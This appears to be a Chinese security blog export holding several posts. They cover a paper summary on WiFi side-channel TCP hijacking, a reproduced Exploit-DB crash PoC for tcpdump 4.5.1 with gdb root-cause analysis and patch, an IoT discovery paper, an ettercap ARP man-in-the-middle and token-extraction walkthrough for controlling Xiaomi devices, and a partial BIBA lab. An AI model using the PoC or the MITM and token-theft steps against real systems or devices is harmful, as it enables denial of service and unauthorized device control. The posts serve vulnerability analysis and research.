RCV.NXT。如果还要使用傀儡建立的连接发起web缓存投毒可以进一步优化增大接收窗口的大小可以减少猜测的迭代次数通常可以放大到500000(之前是65535)而且根据RFC793,窗口放大之后就永远不会缩小。 TCP劫持 通过劫持傀儡初始化的连接可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范所以各自处理情况也不同——windows客户端必须持续发送请求以防止ACK接收窗口仅为一个字节这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。因此作者设计了一种新策略该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 1注入傀儡不断从服务器上请求脚本而攻击者发送2^23/|wnd|个欺骗性数据包这些包的窗口序列号与RCV.NXT加上偏移量相匹配其中|wnd|为ack接收窗口大小第i个数据包的ACK号为i*|wnd|payload为 1websocket.send(|wnd|*i) 因此这些数据包中包含有效ACK号的一个包将被缓冲并破坏真实的HTTP响应头。浏览器执行注入的脚本时它将通过websocket发送猜测的ACK号提供有效的窗口内ACK号。2利用由于客户端已经接受了额外的欺骗payload推进了其预期的序列号因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应知道预期的序列号和有效的ACK号。如果我们只想执行一次性注入只需用恶意脚本替换第一步中的payload就足够了。此外针对Windows的注入步骤存在更加通用的替代策略不依赖于浏览器行为。 具体来说由于HTTP响应的前几个字节是可预先确定的即HTTP不破坏真实的响应而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露就存在各种方法来有效地将数据注入浏览器而不用进行基于时间信道的慢得多的ACK号推断。 Discussion时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退它被进一步放大。正如我们的测试路由器所证实的那样现代无线路由器都支持CSMA / CA和RTS / CTS因为它是802.11标准的一部分并且该原则不太可能很快改变。虽然作者只讨论威胁模型其中来自受害客户端的连接是针对性的但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端例如在相同NAT之后共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下受害者连接通过傀儡打开只是为远程攻击者提供了测量碰撞的机会。此外我们可以扩展威胁模型以考虑无线连接的服务器例如物联网设备。已经证明通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如计算在连接上交换的字节终止与另一主机的连接在正在进行的telnet连接上注入恶意命令。]]></content>
<categories>
<category>顶会论文</category>
</categories>
<tags>
<tag>侧信道攻击</tag>
<tag>wifi</tag>
</tags>
</entry>
<entry>
<title><![CDATA[TCPDUMP拒绝服务攻击漏洞]]></title>
<url>%2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
<content type="text"><![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap. tcpdump能够分析网络行为性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤并提供and、or、not等逻辑语句来帮助你去掉无用的信息从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量如Telnet或HTTP的数据包查看登录的用户名、密码、网址、正在浏览的网站内容或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁而是对网络上的其他计算机的安全存在威胁。 分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 漏洞复现这个漏洞触发的原因是tcpdump在处理特殊的pcap包的时候由于对数据包传输数据长度没有进行严格的控制导致在连续读取数据包中内容超过一定长度后会读取到无效的内存空间从而导致拒绝服务的发生。对于这个漏洞首先要对pcap包的结构进行一定的分析才能够最后分析出漏洞的成因下面对这个漏洞进行复现。 编译安装tcpdump12345678910111. # apt-get install libpcap-dev2. # dpkg -l libpcap-dev3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz5. # cd tcpdump-4.5.1/6. # ./configure7. # make8. # make install9. # tcpdump -version tcpdump version 4.5.1 libpcap version 1.7.4 生成payload来自exploit-db payload12345678910111213141516171819202122232425262728293031323334# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTSfrom subprocess import callfrom shlex import splitfrom time import sleepdef crash(): command = &apos;tcpdump -r crash&apos; buffer = &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos; buffer += &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos; buffer += &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos; buffer += &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos; buffer += &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot; buffer += &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot; buffer += &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos; with open(&apos;crash&apos;, &apos;w+b&apos;) as file: file.write(buffer) try: call(split(command)) print(&quot;Exploit successful! &quot;) except: print(&quot;Error: Something has gone wrong!&quot;)def main(): print(&quot;Author: David Silveiro &quot;) print(&quot; tcpdump version 4.5.1 Access Violation Crash &quot;) sleep(2) crash()if __name__ == &quot;__main__&quot;: main() 崩溃分析pcap包格式首先来分析一下pcap包的格式首先是pcap文件头的内容在.h有所定义这里将结构体以及对应变量含义都列出来。123456789struct pcap_file_header &#123; bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */&#125;; 看一下各字段的含义123456789101112131415161718192021 magic 4字节 pcap文件标识 目前为“d4 c3 b2 a1” major 2字节 主版本号 #define PCAP_VERSION_MAJOR 2 minor 2字节 次版本号 #define PCAP_VERSION_MINOR 4 thiszone4字节 时区修正 并未使用目前全为0 sigfigs 4字节 精确时间戳 并未使用目前全为0 snaplen 4字节 抓包最大长度 如果要抓全设为0x0000ffff65535 tcpdump -s 0就是设置这个参数缺省为68字节 linktype4字节 链路类型 一般都是1ethernetstruct pcap_pkthdr &#123; struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */&#125;;struct timeval &#123; long tv_sec; /* seconds (XXX should be time_t) */ suseconds_t tv_usec; /* and microseconds */&#125;; ts 8字节 抓包时间 4字节表示秒数4字节表示微秒数 caplen4字节 保存下来的包长度最多是snaplen比如68字节 len 4字节 数据包的真实长度如果文件中保存的不是完整数据包可能比caplen大 其中len变量是值得关注的因为在crash文件中对应len变量的值为00 3C 9C 37这是一个很大的值读取出来就是379C3C00数非常大实际上在wireshark中打开这个crash文件就会报错会提示这个数据包的长度已经超过了范围而换算出来的长度就是379C3C00这是触发漏洞的关键。 gdb调试首先通过gdb运行tcpdump用-r参数打开poc生成的crashtcp崩溃到达漏洞触发位置1234567891011121314151617181920212223242526272829303132333435361. Program received signal SIGSEGV, Segmentation fault.2. [----------------------------------registers-----------------------------------]3. EAX: 0x14. EBX: 0x81e33bd --&gt; 0x05. ECX: 0x2e (&apos;.&apos;)6. EDX: 0x07. ESI: 0xbfffe201 (&apos;.&apos; &lt;repeats 14 times&gt;)8. EDI: 0xbfffe1db --&gt; 0x30303000 (&apos;&apos;)9. EBP: 0x1062110. ESP: 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])11. EIP: 0x8053c6a (&lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1])12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)13. [-------------------------------------code-------------------------------------]14. 0x8053c5d &lt;hex_and_ascii_print_with_offset+93&gt;: je 0x8053d40 &lt;hex_and_ascii_print_with_offset+320&gt;15. 0x8053c63 &lt;hex_and_ascii_print_with_offset+99&gt;: mov ebx,DWORD PTR [esp+0x18]16. 0x8053c67 &lt;hex_and_ascii_print_with_offset+103&gt;: sub esp,0x417. =&gt; 0x8053c6a &lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1]18. 0x8053c6f &lt;hex_and_ascii_print_with_offset+111&gt;: movzx ecx,BYTE PTR [ebx+ebp*2]19. 0x8053c73 &lt;hex_and_ascii_print_with_offset+115&gt;: push edx20. 0x8053c74 &lt;hex_and_ascii_print_with_offset+116&gt;: mov ebx,edx21. 0x8053c76 &lt;hex_and_ascii_print_with_offset+118&gt;: mov DWORD PTR [esp+0x18],edx22. [------------------------------------stack-------------------------------------]23. 0000| 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])24. 0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c25. 0008| 0xbfffe1b4 --&gt; 0x126. 0012| 0xbfffe1b8 --&gt; 0x2f5967 (&apos;gY/&apos;)27. 0016| 0xbfffe1bc --&gt; 0x028. 0020| 0xbfffe1c0 --&gt; 0x029. 0024| 0xbfffe1c4 --&gt; 0x7ffffff930. 0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x031. [------------------------------------------------------------------------------]32. Legend: code, data, rodata, value33. Stopped reason: SIGSEGV34. hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:9136. 91 s2 = *cp++; 从崩溃信息来看出错位置为s2 = cp++;崩溃原因为SIGSEGV即进程执行了一段无效的内存引用或发生段错误。可以看到问题出现在./print-ascii.c:91而且此时指针读取[ebx+ebp2+0x1]的内容可能是越界读取造成的崩溃。再结合源码信息可知指针cp在自加的过程中访问到了一个没有权限访问的地址因为这是写在一个while循环里也就是是说nshorts的值偏大再看nshorts怎么来的由此nshorts = length / sizeof(u_short);可知可能是函数传入的参数length没有控制大小导致因此目标就是追踪length是如何传入的。我们通过bt回溯一下调用情况。123456789101112131. gdb-peda$ bt2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:914. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af &quot;\n\t&quot;, cp=0x81e33bd &quot;&quot;, length=0xfffffff3) at ./print-ascii.c:1275. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 &lt;Gndo&gt;, h=0xbfffe40c, p=&lt;optimized out&gt;) at ./print-802_15_4.c:1806. #3 0x080a0aea in print_packet (user=0xbfffe4dc &quot; \023\036\b\300\034\005\b\001&quot;, h=0xbfffe40c, sp=0x81e33a8 &quot;@\377&quot;)7. at ./tcpdump.c:19508. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.89. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.810. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:156911. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 &lt;main&gt;, argc=0x3, argv=0xbffff6c4, init=0x80b1230 &lt;__libc_csu_init&gt;,12. fini=0x80b1290 &lt;__libc_csu_fini&gt;, rtld_fini=0xb7fea880 &lt;_dl_fini&gt;, stack_end=0xbffff6bc) at ../csu/libc-start.c:29113. #8 0x0804c245 in _start () 函数调用流程1234pcap_loop |----print_packet |-----hex_and_ascii_print |-------- hex_and_ascii_print_with_offset 由此可见从main函数开始了一连串函数调用git源码下来看看。tcpdump.c找到pcap_loop调用12345678910111213141516171. do &#123;2. status = pcap_loop(pd, cnt, callback, pcap_userdata);3. if (WFileName == NULL) &#123;4. /*5. * We&apos;re printing packets. Flush the printed output,6. * so it doesn&apos;t get intermingled with error output.7. */8. if (status == -2) &#123;9. /*10. * We got interrupted, so perhaps we didn&apos;t11. * manage to finish a line we were printing.12. * Print an extra newline, just in case.13. */14. putchar(&apos;n&apos;);15. &#125;16. (void)fflush(stdout);17. &#125; 设置断点之后查看一下该函数的执行结果 pcap_loop通过callback指向print_packet,来看一下它的源码1234567891011121314151617181920212223241. static void2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)3. &#123;4. struct print_info *print_info;5. u_int hdrlen;6. ++packets_captured;7. ++infodelay;8. ts_print(&amp;h-&gt;ts);9. print_info = (struct print_info *)user;10. /*11. * Some printers want to check that they&apos;re not walking off the12. * end of the packet.13. * Rather than pass it all the way down, we set this global.14. */15. snapend = sp + h-&gt;caplen;16. if(print_info-&gt;ndo_type) &#123;17. hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====18. &#125; else &#123;19. hdrlen = (*print_info-&gt;p.printer)(h, sp);20. &#125;21. putchar(&apos;n&apos;);22. --infodelay;23. if (infoprint)24. info(0);&#125; 同样设置断点看该函数是如何调用执行的 这是我们可以根据call的信息计算出调用的函数名 其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767725. u_int26. ieee802_15_4_if_print(struct netdissect_options *ndo,27. const struct pcap_pkthdr *h, const u_char *p)28. &#123;29. printf(&quot;address : %x\n&quot;,p);30. u_int caplen = h-&gt;caplen; //传入的caplen赋值给无符号整形变量caplen,且该值为831. int hdrlen;32. u_int16_t fc;33. u_int8_t seq;34. if (caplen &lt; 3) &#123; //不满足35. ND_PRINT((ndo, &quot;[|802.15.4] %x&quot;, caplen));36. return caplen;37. &#125;38. fc = EXTRACT_LE_16BITS(p);39. hdrlen = extract_header_length(fc);40. seq = EXTRACT_LE_8BITS(p + 2);41. p += 3;42. caplen -= 3;//此时caplen = 543. ND_PRINT((ndo,&quot;IEEE 802.15.4 %s packet &quot;, ftypes[fc &amp; 0x7]));44. if (vflag)45. ND_PRINT((ndo,&quot;seq %02x &quot;, seq));46. if (hdrlen == -1) &#123;47. ND_PRINT((ndo,&quot;malformed! &quot;));48. return caplen;49. &#125;50. if (!vflag) &#123;51. p+= hdrlen;52. caplen -= hdrlen;53. &#125; else &#123;54. u_int16_t panid = 0;55. switch ((fc &gt;&gt; 10) &amp; 0x3) &#123;56. case 0x00:57. ND_PRINT((ndo,&quot;none &quot;));58. break;59. case 0x01:60. ND_PRINT((ndo,&quot;reserved destination addressing mode&quot;));61. return 0;62. case 0x02:63. panid = EXTRACT_LE_16BITS(p);64. p += 2;65. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));66. p += 2;67. break;68. case 0x03:69. panid = EXTRACT_LE_16BITS(p);70. p += 2;71. ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p)));72. p += 8;73. break;74. &#125;75. ND_PRINT((ndo,&quot;&lt; &quot;);76. switch ((fc &gt;&gt; 14) &amp; 0x3) &#123;77. case 0x00:78. ND_PRINT((ndo,&quot;none &quot;));79. break;80. case 0x01:81. ND_PRINT((ndo,&quot;reserved source addressing mode&quot;));82. return 0;83. case 0x02:84. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;85. panid = EXTRACT_LE_16BITS(p);86. p += 2;87. &#125;88. ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));89. p += 2;90. break;91. case 0x03:92. if (!(fc &amp; (1 &lt;&lt; 6))) &#123;93. panid = EXTRACT_LE_16BITS(p);94. p += 2;95. &#125;96. ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p))));97. p += 8;98. break;99. &#125;100. caplen -= hdrlen;101. &#125; 传入的第二个值是struct pcap_pkthdr *h结构体函数使用的参数caplen就是结构体中的caplen不难看出caplen进行一些加减操作后没有判断正负直接丢给了下一个函数使用。直接跟进函数看看最后赋值情况 从源码和调试信息可以看到libpcap在处理不正常包时不严谨导致包的头长度hdrlen竟然大于捕获包长度caplen并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数导致caplen==0xfffffff3过长。继续跟进hex_and_asciii_print(ndo_default_print) 123456789101112131415161718192021222324252627282930311. void2. hex_and_ascii_print(register const char *ident, register const u_char *cp,3. register u_int length)4. &#123;5. hex_and_ascii_print_with_offset(ident, cp, length, 0);6. &#125;其中length==0xfffffff3继续执行1. void2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,3. register u_int oset)4. &#123;5. register u_int i, s;6. register int nshorts;7.8. nshorts = (u_int) length / sizeof(u_short);9. i = 0;10. while (--nshorts &gt;= 0) &#123;11. if ((i++ % 8) == 0) &#123;12. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);13. oset += HEXDUMP_BYTES_PER_LINE;14. &#125;15. s = *cp++; &lt;======= 抛出错误位置16. (void)printf(&quot; %02x%02x&quot;, s, *cp++);17. &#125;18. if (length &amp; 1) &#123;19. if ((i % 8) == 0)20. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);21. (void)printf(&quot; %02x&quot;, *cp);22. &#125;nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=0xfffffff3/2=7FFFFFF9 但数据包数据没有这么长导致了crash。 内存分析仔细分析之后发现通过len判断的这个长度并没有进行控制如果是自己构造的一个超长len的数据包则会连续读取到不可估计的值。通过查看epx的值来看一下这个内存到底开辟到什么位置12341. gdb-peda$ x/10000000x 0x81e33bd2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x000000003. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x000000004. 0x8203ffd: Cannot access memory at address 0x8204000 可以看到到达0x 8204000附近的时候就是无法读取的无效地址了那么初始值为0x 81e33bd用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40因为ebx+ebp*2+0x1一次读取两个字节那么循环计数器就要除以2最后结果为0x 10620。来看一下到达拒绝服务位置读取的长度EBX: 0x81e33bd &gt; 0x0EBP: 0x10621EBP刚好为10621。正是不可读取内存空间的地址因此造成拒绝服务。 漏洞总结总结一下整个漏洞触发过程首先tcpdump会读取恶意构造的pcap包在构造pcap包的时候设置一个超长的数据包长度tcpdump会根据len的长度去读取保存在内存空间数据包的内容当引用到不可读取内存位置时会由于引用不可读指针造成拒绝服务漏洞。 漏洞修补Libpcap依然是apt安装的默认版本tcpdump使用4.7 .0-bp版本在hex_and_ascii_print_with_offset中增加对caplength的判断1234567891. caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;2. if (length &gt; caplength)3. length = caplength;4. nshorts = length / sizeof(u_short);5. i = 0;6. hsp = hexstuff; asp = asciistuff;7. while (--nshorts &gt;= 0) &#123;8. ...9. &#125; 可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;caplength为0继续执行可以推出length同样为0到这里已经不会发生错误了。 参考exploit-db payloadWHEREISK0SHL分析博客libpcap/tcpdump源码]]></content>
<categories>
<category>二进制</category>
</categories>
<tags>
<tag>TCPDUMP</tag>
<tag>拒绝服务攻击</tag>
</tags>
</entry>
<entry>
<title><![CDATA[基于采集规则引擎的物联网设备发现方法]]></title>
<url>%2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F</url>
<content type="text"><![CDATA[论文来源USENIX SECURITY 2018Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices下载原文pdf中文slides 论文解读概要: 物联网IoT设备的快速增长的格局为其管理和安全性带来了重大的技术挑战因为这些物联网设备来自不同的设备类型供应商和产品模型。 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。 这篇文章提出了一种基于采集规则的引擎ARE它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。 为了收集交易集ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以类型供应商和产品的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。 背景与动机: 物联网蓬勃发展造就了物联网设备的广泛应用它不仅种类繁多包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等而且数量庞大据统计每天就会新增5500000台物联网设备。 但是由于设备脆弱、缺乏管理和配置不当物联网设备相比传统计算机要更不安全比如之前爆发的Mirai僵尸网络给美国造成了重大的损失。因此为了更主动地保护IOT设备提前发现、登记和注释物联网设备成为先决条件。 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。 所以作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备第二个Figure 2是有许多网站如产品测评会描述设备产品。从第一个事实我们可以从应用层数据包获取关键词然后根据这些关键词依据第二个事实进行网页爬虫以获取网页上的相关描述然后对这些描述进行自然语言处理和数据挖掘从而建立起基于规则的映射。 核心工作—Rule Miner Rule Miner由三个部分构成Transaction set是一对由应用层数据和相关网页组成的文本单元它生成了一种规则 其中A是从应用层数据包中提取的一些特征B是从相关网页抓取的设备描述Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好但好在实体与实体之间具有很高的依赖性这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。 完整架构和应用 完整的ARE除了核心Rule Miner之外还有Transaction Collection用于收集响应数据和网络爬虫Rule Library用于存储生成的规则Planner用于更新规则。作者主要将ARE应用于三个方面一是互联网范围的设备测量统计二是对受损设备进行检测三是对易受攻击的设备进行分析。之后对ARE的效果与Nmap进行比较和评估从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价ARE都要优于Nmap。 工作总结: 提出ARE的框架不需要数据集和人工干预自动生成用于IOT设备识别的规则。 实现了ARE的原型并评估了它的效果ARE在一周内生成了大量的规则而且IOT设备识别的细粒度超过现有工具。 应用于三个场景中主要发现有大量IOT设备在互联网中可以抵达成千上万的IOT设备易受攻击且暴露给了公众。]]></content>
<categories>
<category>顶会论文</category>
</categories>
<tags>
<tag>USENIX</tag>
<tag>数据挖掘</tag>
<tag>自然语言处理</tag>
</tags>
</entry>
<entry>
<title><![CDATA[利用miio控制局域网内的小米智能设备]]></title>
<url>%2F2018%2F12%2F15%2Fmiio-control%2F</url>
<content type="text"><![CDATA[控制局域网内的IOT设备中间人攻击—流量分析使用Nmap分析局域网内设备得到智能设备的IP 小米智能插座192.168.31.197 网关192.168.31.147控制它的手机ip ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147// wireshark抓包分析从图中可以看出设备的命令控制包为UDP传输既然是UDP协议传输那么是否可以通过命令包重放攻击来对设备进行控制了解到在homeassistant中可实现对小米设备的集成并在其中对设备进行管理和操作。Homeassistant主要以Python语言开发既然它能操控小米设备那它底层肯定有相关的函数调用库。为了可以消除对专有软件(米家app)的依赖并能控制自己的设备所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。Miio库支持的设备有 小米IOT控制流程在同一局域网中小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下向小米设备发送hello bytes就可以获得含有token的结构体数据。之后构造相应的结构体并且以同样的方式发送给设备即可完成控制。具体流程如下 设备Token的获取方式小米设备的token获取有三种途径miio获取、从米家app获取、从数据库获取 miio获取在ubuntu下先安装miio然后发现设备npminstall -g miiomiiodiscover但是很可惜很多设备隐藏了token使用该方法可能无法获取到token或获取到的token不正确。 米家app获取这种方法需要的mijia app版本较老且只对部分设备有效。 从数据库获取token这种方法仅在Mi Home 5.0.19之前的版本可用。该方法是读取手机中米家的app中的数据记录来获取设备的token具体步骤如下 准备一部获取root权限的安卓手机 安装米家app并登录账号 进入/data/data/com.xiaomi.smarthome/databases/ 拷贝db下载到电脑 前往网站上传db点击提交即可获得token。 8894c73cbd5c7224fb4b8a39e360c255 脚本控制IOT设备首先随意发送hellobytes获得时间和设备IDtoken我们自己设置然后构造发送的数据结构msgcmd中的method包括set_power(控制开关)、get_prop(获取状态)控制的params是[on]/ [off]获取状态的params是[power, temperature]如果获得了token就能对小米的设备进行操作如图下面是返回的信息。 总结从目前的智能家居市场来看用户不会只使用单个智能设备厂商的设备所以对于厂商来说通过开放接口给用户一些局域网的控制“自由”实现不同厂商设备的联动是一个不错的选择。从另外一个角度本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证并进而进行控制无形中给入侵者留了一扇门。例如攻击者可经过扫描互联网发现家庭路由器并利用弱口令或设备漏洞获得路由器的shell权限接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞大大提高了攻击者获取token的难度。]]></content>
<categories>
<category>IOT</category>
</categories>
<tags>
<tag>小米</tag>
<tag>miio</tag>
<tag>中间人</tag>
<tag>重放攻击</tag>
</tags>
</entry>
<entry>
<title><![CDATA[利用python实现BIBA模型]]></title>
<url>%2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F</url>
<content type="text"><![CDATA[基于python语言的BIBA模型图形界面实现实验目的 查阅资料了解biba安全模型的相关知识 通过编程实现基于biba模型的完整性访问控制进一步掌握biba模型的规则 使用python语言实现熟练pyqt的图形界面设计方法 实验环境: 操作系统Windows10 工具版本python3.7pyqt5 实验原理:什么是安全模型 系统的元素 具有行为能力的主体不具有行为能力的客体 系统的操作行为 可以执行的命令:读、写、执行 对系统行为的约束方式 对行为的控制策略 模型从抽象层次规定了系统行为和约束行为的方式 模型往往用状态来表示 系统行为所依赖的环境行为对系统产生的效果 biba完整性模型 完整性威胁问题 完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;来源:内部&amp;外部;类型:直接&amp;间接 外部的直接 外部的间接 内部的直接 内部的间接 外部系统恶意地篡改另一个系统的数据或程序 一个外部系统插入恶意的子程序 修改自己的代码 修改自己的指针 biba模型的完整性定义 完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。 biba模型的规则 对于写和执行操作,有如下规则: 写规则控制当且仅当主体S的完整性级别大于或等于客体O的完整性级别时主体S可以写客体O,一般称之为上写。执行操作控制当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。 关于读操作,有不同的控制策略: 低水标模型任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。环模型不管完整性级别如何,任何主体都可以读任何客体严格完整性模型这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为下读 一般都是指毕巴严格完整性模型,总结来说是上写、下读 实验内容:用户登录实现核对用户输入的账户密码与存储的是否匹配 从用户输入框获取账户和密码 检查输入信息是否合法(为空) 从password.txt中获取并保存在列表listFromLine中 检查输入的账户是否存在 若存在,检查对应的密码是否正确 若正确,判断是管理员还是普通用户,并跳转相应的界面 1234567891011121314151617181920212223242526272829303132333435363738394041424344def checkPass(self): nameIn = self.lineEdit.text() passwdIn = self.lineEdit_2.text() md5 = hashlib.md5() md5.update(passwdIn.encode("utf-8")) passwdIn = md5.hexdigest() if (nameIn == '') or (passwdIn == ''): QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() print(nameIn, passwdIn) fr = open('./etc/passwd.txt') 